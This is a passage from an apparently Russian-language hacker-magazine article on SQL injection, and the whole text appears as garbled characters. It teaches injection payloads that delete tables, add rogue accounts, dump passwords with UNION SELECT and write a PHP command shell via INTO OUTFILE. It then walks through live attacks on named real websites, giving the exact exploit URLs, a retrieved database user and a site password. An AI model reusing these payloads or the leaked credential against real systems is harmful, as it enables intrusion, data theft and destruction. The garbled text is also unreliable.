íèêàêèõñèìâîëîâ, êðîìå öèôð îò 0 äî 9.ïðîáëåìà ñïåöèàëüíûõ ñèìâîëîâ. Çíàòîêèÿçûêà çàïðîñîâ SQL çíàþò, ÷òî ñ ïîìîùüþ ñïåöèàëüíûõñèìâîëîâ ìîæíî ïîëíîñòüþ èçìåíèòü ëîãèêóçàïðîñà è îáîéòè ìíîãèå îãðàíè÷åíèÿ, êîòîðûåèçíà÷àëüíî ïðèäóìûâàë ïðîãðàììèñò.1Îäèíàðíûå è äâîéíûå êàâû÷êè. Èõ èñïîëüçóþòäëÿ âûäåëåíèÿ çíà÷åíèé. Ïðåäûäóùèé ïðèìåð (User-Name = 'Àäìèíèñòðàòîð') êàê ðàç îá ýòîì. Ïåðâîå, ñ÷åãî íà÷èíàåò õàêåð ñâîå èññëåäîâàíèå, ýòî ïîïûòêàâñòàâêè îäèíàðíîé êàâû÷êè âìåñòå ñî çíà÷åíèåì ïåðåìåííîé.Åñëè îòñóòñòâóåò ôèëüòðàöèÿ íà ñïåöñèìâîëû,òî âçëîìùèê óâèäèò îøèáêó, ñãåíåðèðîâàííóþñåðâåðîì ÁÄ.  ðåçóëüòàòå îí óæå òî÷íî áóäåò çíàòü,÷òî åñòü âîçìîæíîñòü âíåäðèòü ñâîé SQL-êîä.Çíà÷èò, â ñâîåì ñöåíàðèè íàäî îòêëþ÷èòü âûâîäëþáûõ îøèáîê. Ëó÷øå â ìîìåíò âîçíèêíîâåíèÿîøèáêè âûâåñòè ñâîé òåêñò, ÷åì òåêñò, êîòîðûéñãåíåðèðóåò ñåðâåð ÁÄ.2Äâîéíîå òèðå. Äâà òèðå ïîäðÿä â SQL îçíà÷àþòíà÷àëî êîììåíòàðèÿ. Òî åñòü âñå, ÷òî áóäåò ïîñëåäâóõ çíàêîâ òèðå, íå áóäåò âîñïðèíèìàòüñÿ êàê÷àñòü çàïðîñà. Ðàññìîòðèì ïðèìåð:SELECT * FROM Users WHERE UserName=rootAND Password= ïåðåìåííàÿÝòî çàïðîñ äîëæåí âûáðàòü çàïèñü, ãäå ïîëå User-Name ðàâíî root (êàê ïðàâèëî, â îñíîâíîì ýòî èìÿèñïîëüçóåòñÿ äëÿ îáîçíà÷åíèÿ ñóïåð-ïîëüçîâàòåëÿ),à ïîëå Password ðàâíî çíà÷åíèþ ïåðåìåííîé.Èìÿ ìû çíàåì, à ïàðîëü, åñòåñòâåííî, íåò. Íî ýòîíå ïîâîä îò÷àèâàòüñÿ — ìîæíî óìóäðèòüñÿ ìîäèôèöèðîâàòüçàïðîñ äî òàêîãî âèäà:SELECT * FROM Users WHERE UserName=root--AND Password = ïåðåìåííàÿ ðåçóëüòàòå, êîä, êîòîðûé ñòîèò ïîñëå äâóõ çíàêîâòèðå (AND Password = ïåðåìåííàÿ), íå áóäåò âûïîëíåí,è, ñëåäîâàòåëüíî, ìû óñïåøíî ïðîõîäèì äàííóþïðîâåðêó, çíàÿ îäíî ëèøü èìÿ ïîëüçîâàòåëÿ. SQL åñòü åùå ïàðà ñèìâîëîâ, êîòîðûåîáîçíà÷àþò êîììåíòàðèé, — «/*». Åñëè âäðóã îêàçûâàåòñÿ,÷òî çíàê òèðå ôèëüòðóåòñÿ, òî ìîæíîâîñïîëüçîâàòüñÿ «/*». Ïðèíöèï äåéñòâèÿ òîò æå ñàìûé.Âåñü òåêñò çàïðîñà, êîòîðûé ñòîèò ïîñëå ýòèõñèìâîëîâ, íå áóäåò âûïîëíÿòüñÿ, à çíà÷èò, ìîæíîîòáðîñèòü ëèøíèå ïðîâåðêè è îáîéòè çàùèòó.SELECT * FROM Users WHERE id = 1OR UserName=ÀäìèíÐåçóëüòàò ýòîãî çàïðîñà âåðíåò çàïèñü, ãäå ïîëå idðàâíî åäèíèöå èëè ïîëå UserName ðàâíî «Àäìèí».Òåïåðü ïðåäñòàâü, ÷òî áûëî áû, åñëè áû çíàê ðàâåíñòâàâñåãäà îòðåçàëñÿ. Çàïðîñ óæå âûãëÿäåë áûñëåäóþùèì îáðàçîì:SELECT * FROM Users WHERE id = 1OR UserNameÀäìèíÝòîò çàïðîñ íåâåðíûé, ïîýòîìó îí íå áóäåò âûïîëíåíñåðâåðîì ÁÄ, à çíà÷èò, âçëîìùèê îñòàíåòñÿ ñ íîñîì.4Òî÷êà ñ çàïÿòîé. Çíàê «;» òîæå îòíîñèòñÿ ê cïåöèàëüíûìñèìâîëàì, îí èñïîëüçóåòñÿ äëÿ ðàçäåëåíèÿçàïðîñîâ ìåæäó ñîáîé. Ëþáîé ñåðâåð ÁÄ ìî-êàê èùóòóêðîìíîå ìåñòå÷êîäëÿ SQL InjectionÏÅÐÂÛÌ ÄÅËÎÌ ÈÙÓÒ ËÞÁÛÅÑÖÅÍÀÐÈÈ ÍÀ ÑÀÉÒÅ. ÁÛÂÀÅÒ ÒÀÊ,×ÒÎ ÂÅÑÜ ÑÀÉÒ ÂÛÏÎËÍÅÍ Â ÂÈÄÅÑÒÀÒÈ×ÍÎÃÎ HTML, À ÊÀÊÎÉ-ÍÈÁÓÄÜÎÄÈÍ ÐÀÇÄÅË (ÍÀÏÐÈÌÅÐ, ÍÎÂÎÑÒÈ)ßÂËßÅÒÑß ÑÖÅÍÀÐÈÅÌ. ÂÎÒ Â ÍÅÌÈ ÈÙÓÒ ÂÎÇÌÎÆÍÎÑÒÜ ÂÍÅÄÐÅÍÈßSQL INJECTION. ÏÐÎÁÓÞÒ ÏÎÄÑÒÀÂËßÒÜÑÂÎÈ SQL-ÊÎÌÀÍÄÛ Ê ÇÍÀ×ÅÍÈÞÏÅÐÅÌÅÍÍÛÕ, ÊÎÒÎÐÛÅ ÏÅÐÅÄÀÞÒÑßÑÖÅÍÀÐÈÞ.ÅÑËÈ ÍÀ ÀÒÀÊÓÅÌÎÌ ÑÀÉÒÅ ÅÑÒÜÏÎÈÑÊ, ÒÎ ÅÃÎ ÒÎÆÅ ÏÐÎÂÅÐßÞÒ.ÍÀ ÌÍÎÃÈÕ ÑÀÉÒÀÕ ÑÖÅÍÀÐÈÈÏÎÈÑÊÀ — ÑÀÌÎÏÈÑÍÛÅ, ÇÍÀ×ÈÒ,ÂÑÅÃÄÀ ÅÑÒÜ ØÀÍÑ, ×ÒÎ ÏÐÎÃÐÀÌÌÈÑÒÃÄÅ-ÒÎ ÄÎÏÓÑÒÈË ÎØÈÁÊÓ.ÔÎÐÓÌ È ÃÎÑÒÅÂÛÅ ÊÍÈÃÈ —ÎÒËÈ×ÍÎÅ ÌÅÑÒÎ ÄËß ÏÎÈÑÊÀÓßÇÂÈÌÎÑÒÅÉ. ÑÒÎÈÒ ÒÎËÜÊÎ ÓÇÍÀÒÜÍÀÇÂÀÍÈÅ È ÂÅÐÑÈÞ ÔÎÐÓÌÀÈ, ÅÑËÈ ÎÍ ÈÇÂÅÑÒÍÛÉ, ÌÎÆÍÎÏÎÏÐÎÁÎÂÀÒÜ ÍÀÉÒÈ ÓÆÅ ÃÎÒÎÂÛÉÝÊÑÏËÎÉÒ Â ÑÅÒÈ.


9æåò âûïîëíÿòü íåñêîëüêî äåéñòâèé îäíèì çàïðîñîì,íî äëÿ ýòîãî êàæäîå äåéñòâèå â çàïðîñå äîëæíîáûòü îòäåëåíî äðóã îò äðóãà òî÷êîé ñ çàïÿòîé.Êàê ýòèì ìîæíî âîñïîëüçîâàòüñÿ?SELECT * FROM Users WHERE id = ïåðåìåííàÿÒåïåðü, ïðåäñòàâèì, ÷òî â ïåðåìåííóþ, ñ êîòîðîé ñðàâíèâàåòñÿçíà÷åíèå ïîëÿ id, âïèñûâàåòñÿ çíà÷åíèå:1; DELETE FROM UsersÇàïðîñ áóäåò âûãëÿäåòü ñëåäóþùèì îáðàçîì:SELECT * FROM Users WHERE id = 1;DELETE FROM UsersÑíà÷àëà ñåðâåð âûïîëíèò âûáîðêó èç òàáëèöû Users— çàïèñü, â êîòîðîé çíà÷åíèå ïîëÿ id ðàâíî åäèíèöå.À çàòåì ïîëíîñòüþ óäàëèò âñå çàïèñè èç òàáëèöûUsers. Êîíå÷íî, â ðåàëüíîé ñèòóàöèè î÷èñòèòüâñå ñîäåðæèìîå òàáëèöû íåïðîñòî, òàê êàêíåîáõîäèìî çíàòü åå èìÿ, à ïîëó÷èòü èìåíà òàáëèöáûâàåò íå òàê ïðîñòî… íî âîçìîæíî.5 Çíàê ïëþñà. Çíàê ïëþñà â SQL ñîïîñòàâëÿåòñÿñî çíàêîì ïðîáåëà. Äîïóñòèì, ÷òî âîñïîëüçîâàòüñÿîáû÷íûì ñèìâîëîì ïðîáåëà áûâàåò íåâîçìîæíî(ôèëüòðóåòñÿ îí, è âñå òóò), â ýòîì ñëó÷àåìîæíî âîñïîëüçîâàòüñÿ çíàêîì ïëþñà.SELECT * FROM Users WHERE id = 1+OR+UserName=ÀäìèíèñòðàòîðÒàêîé çàïðîñ áóäåò àáñîëþòíî êîððåêòåí è óñïåøíîâûïîëíèòñÿ.ñïåöèàëüíûå îïåðàòîðû.  ÿçûêå SQL åñòü ìíîæåñòâîîïåðàòîðîâ, âîñïîëüçîâàâøèñü êîòîðûìè,ìîæíî ïîëó÷èòü ãîðàçäî áîëüøå âîçìîæíîñòåé, ÷åìïðè èñïîëüçîâàíèè ïðîñòûõ ñïåöèàëüíûõ ñèìâîëîâ.1INSERT. Ýòîò îïåðàòîð èñïîëüçóåòñÿ äëÿ âñòàâêèíîâûõ çàïèñåé â òàáëèöó. Áûâàåò íåîáõîäèìîñäåëàòü ñåáå àêêàóíò (äîïóñòèì, íà êàêîì-íèáóäü èíòåðåñíîìôîðóìå, ãäå ïðîñòî òàê íå çàðåãèñòðèðóåøüñÿ).Òîãäà, íàéäÿ âîçìîæíîñòü âíåäðåíèÿ, ìîæíîäîáàâèòü â çàïðîñ ýòîò îïåðàòîð.SELECT * FROM Users WHERE UserName=rootand Password=123; INSERT INTO Usersvalues (“0”, “spider_net”, “qwerty”)Ïîñëå âûïîëíåíèÿ òàêîãî çàïðîñà â òàáëèöå User-Name äîáàâèòñÿ íîâàÿ çàïèñü, â êîòîðîé áóäóò ñîäåðæàòüñÿäàííûå íîâîãî ïîëüçîâàòåëÿ ñ ëîãèíîìspider_net è ïàðîëåì qwerty.2LIKE. Îïåðàòîð LIKE èäåíòè÷åí çíàêó «=»,òîëüêî èñïîëüçóåòñÿ äëÿ ñðàâíåíèÿ ñòðîê. Íî ìíîãèåçàáûâàþò î òîì, ÷òî ïðîùå ïîêàçàòü íà ïðèìåðå:SELECT * FROM Users WHERE UserName LIKEïåðåìàííàÿ1 AND Password LIKEïåðåìåííàÿ2Åñëè äëÿ ñðàâíåíèÿ èñïîëüçóåòñÿ èìåííî LIKE,òî äîñòàòî÷íî ê çíà÷åíèþ ïåðåìåííîé ñ ïàðîëåìäîáàâèòü ñèìâîë «%».  ðåçóëüòàòå çàïðîñ áóäåòâûïîëíåí óñïåøíî, è åñëè îí èñïîëüçóåòñÿ äëÿ àâòîðèçàöèèïîëüçîâàòåëåé, òî ìû áåç ïðîáëåì ñìîæåìçàëîãèíèòñÿ ïîä ëþáûì ïîëüçîâàòåëåì.SELECT * FROM Users WHERE UserName LIKEroot AND Password LIKE % SQL çíàê ïðîöåíòà èñïîëüçóåòñÿ äëÿ ñîïîñòàâëåíèÿñ ëþáûìè ñèìâîëàìè. Ýòà îøèáêà äîñòàòî÷íîðàñïðîñòðàíåíà, îñîáåííî â ñàìîïèñíûõ ñöåíàðèÿõ.Åñëè òû çàíèìàåøüñÿ èññëåäîâàíèåì ïîäîáíîãîñöåíàðèÿ, òî ïåðâûì äåëîì èìååò ñìûñë ïðîâåðÿòüâíåäðåíèå èìåííî ýòîãî çíàêà.3UNION. Îïåðàòîð UNION ñëóæèò äëÿ îáúåäèíåíèÿçàïðîñîâ. Åñëè óäàåòñÿ âíåäðèòü ýòîò îïåðàòîðâ çàïðîñ, òî ïåðåä òîáîé îòêðûâàþòñÿ áåçãðàíè÷íûåâîçìîæíîñòè. Äîïóñòèì, òû íàøåë êàêîé-íèáóäü óÿçâèìûéñöåíàðèé (íàïðèìåð, ðàçäåë íîâîñòåé), íî èçäåâàòåëüñòâàíàä íîâîñòÿìè òåáÿ íå èíòåðåñóåò,à õî÷åòñÿ âñåãî ëèøü óòÿíóòü âñþ áàçó äàííûõ ñ ëîãèíàìèè ïàðîëÿìè þçåðîâ. Âîò â ýòîì ñëó÷àåì êàêíåëüçÿ êñòàòè ïðèãîäèòñÿ îïåðàòîð UNION.SELECT * FROM News WHERE id=1 UNIONSELECT Id, UserName, Password FROM UsersÏîñëå âûïîëíåíèÿ ýòîãî çàïðîñà ïîìèìî òåêñòà íîâîñòèîòîáðàçèòñÿ èíôîðìàöèÿ îáî âñåõ ó÷åòíûõçàïèñÿõ èç òàáëèöû UserName.4OUTFILE. Äóìåøü, ÷òî åñëè òû íàøåë âîçìîæíîñòüâíåäðåíèÿ, òî åäèíñòâåííîå, ÷åì ìîæíîóïðàâëÿòü íà àòàêóåìîì ñàéòå, ýòî áàçà äàííûõ?Íåò, ýòî íå òàê — ñ ïîìîùüþ SQL ìîæíî ïîëó÷èòüäîñòóï è ê ôàéëîâîé ñèñòåìå. Ïðèìåð:SELECT ‘Ìîé òåêñò’ INTO OUTFILE‘text.txt’Åñëè çàïðîñ âûïîëíèëñÿ óñïåøíî, òî áóäåò ñîçäàíôàéë text.txt ñ åäèíñòâåííîé ôðàçîé «Ìîé òåêñò».Êîíå÷íî, åñëè çàïèñàòü ïðîñòîé òåêñò â ôàéë, òîâûãîäû áóäåò ìàëî. Íî ÷òî åñëè çàïèñàòü â êà÷åñòâåòåêñòà ñâîé ñöåíàðèé, êîòîðûé áóäåò âûïîëíÿòüêàêóþ-íèáóäü ñèñòåìíóþ ôóíêöèþ…SELECT ''INTO OUTFILE 'cmd.php'Çàïðîñ ñîçäàñò PHP-ñöåíàðèé, êîòîðûé áóäåò âûïîëíÿòüêîìàíäó èç ïåðåìåííîé $cmd. Àíàëîãè÷íîìîæíî äåôåéñíóòü ñàéò, ïåðåçàïèñàâ ôàéë index(åñëè åñòü ñîîòâåòñòâóþùèå ïðàâà).


10 ÃËÎÁÀËÜÍÀß ÝÏÈÄÅÌÈß ÑÏÅÖ 02-07îñîçíàííûéïðèìåðÐåàëüíàÿ óãðîçà SQL InjectionÑÎÁÑÒÂÅÍÍÛÅ ÎØÈÁÊÈ ÏÎÌÎÃÀÞÒ ËÓ×ØÅ ÏÎÍßÒÜ ÒÅÌÓ. ÎÍÈ ÎÒÊËÀÄÛÂÀÞÒÑß ÂÏÀÌßÒÈ È ÏÎÇÂÎËßÞÒ ÍÅ ÑÎÂÅÐØÀÒÜ ÏÎÄÎÁÍÎÃÎ Â ÁÓÄÓÙÅÌ. ÍÎ ÊÎÃÄÀÏÐÎÃÐÀÌÌÈÑÒ ÑÎÇÄÀÅÒ «ÁÎÅÂÎÉ» ÊÎÄ, ÒÎ ÎØÈÁÊÈ ÌÎÃÓÒ ÏÐÈÂÅÑÒÈ Ê ÏÅ×ÀËÜÍÛÌÏÎÑËÅÄÑÒÂÈßÌ. ÏÐÎÖÅÑÑ ÂÎÑÑÒÀÍÎÂËÅÍÈß ÍÀÑ ÑÅÉ×ÀÑ ÍÅ ÈÍÒÅÐÅÑÓÅÒ, ÍÀÑÈÍÒÅÐÅÑÓÞÒ ÑÀÌÈ ÎØÈÁÊÈ. ÄËß ÝÒÎÃÎ ÏÐÎÒÅÑÒÈÐÓÅÌ ÍÅÑÊÎËÜÊÎ ÑÀÉÒΠÍÀÏÐÅÄÌÅÒ ÓßÇÂÈÌÎÑÒÅÉ È ÏÐÎÀÍÀËÈÇÈÐÓÅÌ ÐÅÇÓËÜÒÀÒÌèõàèë Ôëåíîâ aka Horrifichttp://www.vr-online.ruÑðàçó õîòèì ïðåäóïðåäèòü, ÷òî âñå âëàäåëüöû óÿçâèìûõñàéòîâ, êîòîðûå ôèãóðèðóþò â ïðèìåðàõ, áûëèïðîèíôîðìèðîâàíû î íàëè÷èè äûð.APA Help Center. ×òîáû íàéòè ïåðâóþ æåðòâó,çàïóñêàåì ñ ïîìîùüþ google.com ïîèñê ïî Ñåòè, ãäåâ URL âñòðå÷àåòñÿ .php è èìÿ ïàðàìåòðà id. Ïåðâûéñàéò, êîòîðûé çàèíòåðåñîâàë ñâîèì íàçâàíèåì,îêàçàëñÿ ïóñòûì, òî÷íåå, ñöåíàðèè íå ïîëó÷àëè ïàðàìåòðîâ,ïîýòîìó åãî îòáðîñèëè. À âîò âòîðîé îêàçàëñÿáîëåå óäà÷íûì — APA Help Center (www.apahelpcenter.org).×òî òàêîå APA? Îêàçûâàåòñÿ,ýòî The American Psychological Association èëè àìåðèêàíñêàÿàññîöèàöèÿ ïñèõîëîãîâ. Ïðîòåñòèðóåìïñèõîëîãîâ íà âøèâîñòü…Äëÿ íà÷àëà èùåì ñöåíàðèè, êîòîðûå ïîëó÷àþòêàêèå-ëèáî ïàðàìåòðû. Äîëãî èñêàòü íå ïðèøëîñü,âîò îíî — ÷óäî ïðèðîäû: www.apahelpcenter.org/featuredtopics/feature.php.Ýòîò ñöåíàðèé ïîëó÷àåòïàðàìåòð id, êîòîðîìó ïåðåäàåòñÿ ÷èñëî.Äîáàâëÿåì â êîíåö çíà÷åíèÿ ïàðàìåòðà ñòðîêó«and 1=0» è ïåðåãðóæàåì ñòðàíè÷êó. Òà æåñòðàíè÷êà, òîëüêî ïóñòàÿ. Ïîïðîáóåì äîáàâèòüåùå union select 'Test' — èíæåêòèðóåòñÿ äîïîëíèòåëüíûéçàïðîñ, êîòîðûé ïðîñòî âîçâðàùàåò ñëîâîTest. Åñëè ýòî ñëîâî ïîÿâèòñÿ ãäå-òî íà ñòðàíèöå,çíà÷èò, íàì ñîïóòñòâóåò óäà÷à.  öåíòðå ñòðàíèöûïîÿâèëàñü íàäïèñü Next page, ïîñëå êîòîðîéêðàñîâàëàñü ññûëêà ñ èìåíåì Test. Âîò êóäà ïîïàëîèìÿ èíæåêòèðîâàííîãî çàïðîñà. Èòàê, URL, êîòîðûéïîäòâåðæäàåò íàëè÷èå óÿçâèìîñòè, âûãëÿäèòñëåäóþùèì îáðàçîì:http://www.apahelpcenter.org/featuredtopics/feature.php?id=38%20and%201=0%20union%20select%20'Test'--ÇÍÀÍÈÅ ßÇÛÊÀ SQL È ÎÑÎÁÅÍÍÎÑÒÅÉ ÐÀÇËÈ×ÍÛÕ ÁÀÇ ÄÀÍÍÛÕÏÎÌÎÆÅÒ Â ÒÂÎÈÕ ÈÑÑËÅÄÎÂÀÍÈßÕ


11ñåðâåðå åñòü òàáëèöû ñ èìåíàìè articles è users. Êîíå÷íîæå, âòîðàÿ òàáëèöà íàèáîëåå èíòåðåñíà. Íîêàêèå â íåé ïîëÿ? Ìåòîäîì ïîäáîðà âûÿñíÿåòñÿ, ÷òîåñòü ïîëÿ id è password. Ñëåäóþùèé çàïðîñ ïîêàçàëïàðîëü ïåðâîãî ïîëüçîâàòåëÿ â òàáëèöå:http://www.apahelpcenter.org/featuredtopics/feature.php?id=38%20and%201=0%20union%20select%20password%20FROM%20users%20limit%200,1--Òåïåðü ïîèùåì ÷òî-òî áîëåå èíòåðåñíîå. Ïîñìîòðèìèìÿ áàçû äàííûõ, âåðñèþ è èìÿ ïîëüçîâàòåëÿ.Äëÿ ýòîãî â URL ìåíÿåì 'Test' íà DATABASE() è ïîëó÷àåìèñêîìûå äàííûå:Áàçà äàííûõ: apahelpcenterÂåðñèÿ: 4.0.20a-debugÈìÿ ïîëüçîâàòåëÿ:prac01web@prac01.apa.orgÏðåêðàñíåíüêî. À ÷òî åùå òóò åñòü? Äîñòóïà ê ñèñòåìíîéáàçå äàííûõ MySQL íå îêàçàëîñü. Âèäèìî,õîñòåð — íå äóðàê è çàïðåòèë ëþáûå òåëîäâèæåíèÿâ ýòó ñòîðîíó. Ïîïðîáóåì ïîäîáðàòü èìåíà òàáëèö.È ñíîâà óäà÷à íà íàøåé ñòîðîíå, ïîòîìó ÷òî àìåðèêàíöûíå ëþáÿò èñïîëüçîâàòü ïðåôèêñû, à èñïîëüçóþòáàíàëüíûå ñëîâà äëÿ èìåíîâàíèÿ îáúåêòîâ. Ïàðàìèíóò ñòðàäàíèÿ, ïîñëå êîòîðûõ âûÿñíÿåòñÿ, ÷òî íàÏàðîëü áàíàëåí — apanick. Àìåðèêàíñêàÿ íàèâíîñòü:). Òàê êàê íà ñàéòå íåò ðåãèñòðàöèè, à â òàáëèöåïîëüçîâàòåëåé âñåãî äâå çàïèñè, ìîæíî ïðåäïîëîæèòü,÷òî ãäå-òî åñòü àäìèíêà è ýòî ïàññ —äëÿ äîñòóïà â íåå. Íî àäìèíêó íå íàøëè. Îáëàçèëèâåñü ñàéò: íèãäå íåò ïîëÿ äëÿ ââîäà ïàðîëÿ, à ñöåíàðèèòèïà /admin/index.php, admin.php íå ñóùåñòâóþò.Îñòàâèì ýòî äëÿ äðóãèõ è äâèãàåìñÿ äàëüøå.Àìåðèêà â÷åðà. Ïîèùåì îøèáêè â USA-íåòå.Íðàâèòñÿ àìåðèêàíñêèé net òåì, ÷òî çäåñü îøèáîê íàñàéòàõ î÷åíü ìíîãî, âèäèìî, ýêîíîìÿò íà ïðîãðàììèñòàõ.Èëè ïðîãðàììèñòû — èç ïðîøëîãî âåêà è íå çíàþòî ñóùåñòâîâàíèè òàêèõ óãðîç, êàê SQL Injection.Ñëåäóþùóþ æåðòâó äîëãî èñêàòü íå ïðèøëîñü. ïðîöåññå ïîèñêà íàòûêàåìñÿ íà www.newspaperads.com.Çàèíòåðåñîâàë òåì, ÷òî:1 ÊÐÓÏÍÛÉ;2 ÏÐÈÍÀÄËÅÆÈÒ ÇÍÀÌÅÍÈÒÎÉ USA TODAY;3 ÏÎÑÒÐÎÅÍ ÍÀ ASP + MS SQL SERVER.Îòïðàâèì USA Today â Yesterday, èáî äûð çäåñüïðåâåëèêîå ìíîæåñòâî. Íàóãàä òûêàåì ïî ññûëêàìè ïîïàäàåì íà ñòðàíèöó:http://www.newspaperads.com/usatoday/results.asp?subcatid=1600&interfaceid=82&parent=Categories&subcatname=Travel+SpecialsÇäåñü ñîáðàíû ñòàòüè íà òåìó ïóòåøåñòâèé. Ïîïðîáóåìïîïóòåøåñòâîâàòü ïî áàçå äàííûõ newspaperads.com.Âñå îôîðìëåíî â âèäå òàáëèöû èç òðåõ êîëîíîê:Advertiser, Summary è Date. Îáîæàþ ñòðàíèöûñ òàáëèöàìè, ïîòîìó ÷òî â íèõ áîëüøå ïðîñòðàíñòâàäëÿ çëûõ ìàíèïóëÿöèé è ìîæíî âèäåòü ðåçóëüòàò.Ñòðàíèöå ïåðåäàåòñÿ íåñêîëüêî ïàðàìåòðîâ,íî ñàìûé èíòåðåñíûé — subcatid. Ïî èìåíè óæå ÿñíî,÷òî ýòî èäåíòèôèêàòîð, ïî êîòîðîìó ïðîèñõîäèòïîèñê ïî áàçå. Ïîïðîáóåì äîáàâèòü â êîíåö ïàðàìåòðàîäèíàðíóþ êàâû÷êó. Àãà, ïðîèçîøëà îøèáêàçàïðîñà. Òî, ÷òî äîêòîð ïðîïèñàë.Èçó÷àåì îøèáêó è ïîíèìàåì, ÷òî â íåé êó÷àâñÿêîé åðóíäû, íî ÷òîáû èíæåêòèðîâàòü SQL-êîä,íåîáõîäèìî â êîíåö ïàðàìåòðà äîáàâèòü äâå çàêðûâàþùèåñÿêðóãëûå ñêîáêè è êîììåíòàðèåì îòøâûðíóòüâñå îñòàëüíûå óñëîâèÿ. Èòàê, ïðîáóåìâíåäðèòü â ïàðàìåòð subcatid ñëåäóþùåå çíà÷åíèå:1600)) and 1=0 -Âîò îíè — çàâåòíûå èìåíà òàáëèöÓñëîâèå «1=0» ïîñòàâèëè äëÿ òîãî, ÷òîáû ðåçóëüòàòáûë çàâåäîìî ïóñòûì. Íàì íå íóæíû ñòàòüèïðî ïóòåøåñòâèÿ, íàì íóæíî ñîäåðæèìîå áàçûäàííûõ. Òåïåðü ïîäáèðàåì êîëè÷åñòâî ïîëåé, êîòîðûåâîçâðàùàþò çàïðîñ. Äëÿ ýòîãî â çàïðîñâíåäðÿåì îáúåäèíåíèå UNION SELECT NULL, …ïîñëåäîâàòåëüíî óâåëè÷èâàÿ êîëè÷åñòâî NULLïîëåé. èòîãå ïîëó÷èëîñü 11 ïîëåé. Èìåííî ïðèòàêîì êîëè÷åñòâå NULL-çíà÷åíèé îøèáêà çàïðîñàèñ÷åçëà è ïîÿâèëàñü òàáëèöà, ïðàâäà, ïóñòàÿ.Òåïåðü íóæíî óçíàòü, êàêèå ïîëÿ è êóäà ïîïàäàþòíà ôîðìå. Äëÿ ýòîãî ìîæíî âî âíåäðåííîìçàïðîñå âûáèðàòü íå íóëåâûå çíà÷åíèÿ, à êàêèåòî÷èñëà, óíèêàëüíûå äëÿ êàæäîãî ïîëÿ. Íàïðèìåð,ñëåäóþùèé çàïðîñ âûáèðàåò â êàæäîì ïîëå÷èñëî îò 0 äî 11:1600)) and 1=0 union all select1,2,3,4,5,6,7,8,9,10,11--Àãà, ÷èñëî 7 ïîÿâèëîñü â êîëîíêå Summary. Áóäåìèñïîëüçîâàòü ñåäüìîå ïîëå äëÿ òîãî, ÷òîáû ïðîñìàòðèâàòüñèñòåìíûå äàííûå. Íàñ èíòåðåñóþò ïåðâûìäåëîì èìåíà òàáëèö, êîòîðûå èñïîëüçóþòñÿ â áàçåäàííûõ. Èõ ìîæíî ïîëó÷èòü èç òàáëèöû INFORMA-TION_SCHEMA.TABLES. Èíæåêòèðóåì ñëåäóþùèéêîä â ïàðàìåòð subcatid:1600)) and 1=0 union all select1,2,3,4,5,6,TABLE_NAME,8,9,0,11from INFORMATION_SCHEMA.TABLES--Âñå ïðîøëî óäà÷íî è ïåðåä íàìè ñïèñîê òàáëèö áàçûäàííûõ. Ñàìîå èíòåðåñíîå, ÷òî ïîêàçûâàþòñÿòîëüêî ïåðâûå 20 ñòðîê, íî âíèçó ñòðàíèöû åñòü íàâèãàöèÿïî ñòðàíèöàì 1, 2, 3… Íàâèãàöèÿ î÷åíü õîðîøàÿ,ïîòîìó ÷òî ïóòåøåñòâóåò äàæå ïî èíæåêòèðîâàííîìóçàïðîñó :). Òàê ÷òî íå íóæíî îãðàíè÷èâàòüâûâîä äàííûõ ñ ïîìîùüþ èíúåêöèè.Ìîæíî áûëî áû äâèãàòüñÿ äàëüøå è îðãàíèçîâàòüäåôåéñ èëè óíè÷òîæèòü äàííûå, íî ýòîíå íàø ìåòîä. Ìû íàïèñàëè àäìèíàì îá îøèáêå.Ñïàñèáî newspaperads.com çà ïðèÿòíîå ïóòåøåñòâèåïî èõ áàçå :).


12 ÃËÎÁÀËÜÍÀß ÝÏÈÄÅÌÈß ÑÏÅÖ 02-07The error occurred while processingan element with a general identifierof (CFQUERY), occupying documentposition (1:1) to (1:59).Î÷åâèäíî, ÷òî òóò èñïîëüçóåòñÿ ODBC MicrosoftAccess Driver. Òî åñòü â êà÷åñòâå áàçû äàííûõ èñïîëüçóåòñÿáàíàëüíûé MS Access. Ïîïðîáóåì ïîêîâûðÿòüñÿ.Äëÿ íà÷àëà îïðåäåëèì êîëè÷åñòâî ïîëåé,âîçâðàùàåìûõ çàïðîñîì. Îêàçàëîñü, ÷òî Accessíå ìîæåò âîçâðàùàòü áåçûìÿííûå SELECT, è îáÿçàòåëüíîäîëæíà áûòü ñåêöèÿ FROM ñ èìåíåì òàáëèö.Áóäåì çíàòü. Òàê êàê íà ñåðâåðå åñòü ðåãèñòðàöèÿ,ïîïðîáóåì ïðåäïîëîæèòü, ÷òî ñóùåñòâóåòòàáëèöà users. Âáèâàåì â áðàóçåð ñëåäóþùèéURL:http://www.compostingcouncil.org/section.cfm?id=29%20union%20select%201%20from%20usersÌèëûé ñàéò ñ ìèëûìè îøèáêàìècold fusion. Ñëåäóþùóþ æåðòâó ðåøèëè èñêàòüñðåäè ñàéòîâ, ïîñòðîåííûõ íà òåõíîëîãèèMacromedia Cold Fusion. Äîëãî èñêàòü íå ïðèøëîñü.Ïåðâûì íà ãëàçà ïîïàëñÿ ñàéò ñåíàòà ÑØÀ, à òî÷íåå— åãî äåïàðòàìåíòà ïî êîììåðöèè (commerce.-senate.gov). Ïðîñìîòð ïîêàçàë, ÷òî áîëüøèíñòâî ïàðàìåòðîâíå ôèëüòðóþò îäèíàðíóþ êàâû÷êó. Íàïðèìåð,â ñëåäóþùåì URL óÿçâèì ïàðàìåòð id:commerce.senate.gov/hearings/witnesslist.cfm?id=1705Åñëè äîáàâèòü ê ïàðàìåòðó «id=1705 and 1=1», òî ñöåíàðèéïðîãëîòèò ýòó èíúåêöèþ è íå ïîäàâèòñÿ. Îäèíàðíàÿêàâû÷êà òàêæå íå ôèëüòðóåòñÿ. Íî ïîäîáðàòüêîëè÷åñòâî ïîëåé íå óäàëîñü, ïîòîìó ÷òî ôèëüòðóþòñÿçàïÿòûå, òèðå, ñëåøè è çíàê ïðîöåíòà. Øóòèòü ñ ñåíàòîìíå îñîáî õî÷åòñÿ, ïîòîìó ÷òî ýòî ÷ðåâàòî ñåðüåçíûìèïîñëåäñòâèÿìè — ìû îñòàâèëè ñàéò â ïîêîå.Êñòàòè, ñåðâåð senate.gov ñîäåðæèò íå òîëüêîñàéòû ñåíàòîâ, íî è îòäåëüíûõ ñåíàòîðîâ.È áîëüøèíñòâî ïàðàìåòðîâ ôèëüòðóåòñÿ íå î÷åíüêà÷åñòâåííî. Ìû îñîáî íå êîâûðÿëèñü, ïîòîìó ÷òîäîðîæèì ñâîåé ñâîáîäîé :).óäîáðÿåì. Ñëåäóþùàÿ æåðòâà — www.compostingcouncil.org.Ñàéò ïîñâÿùåí 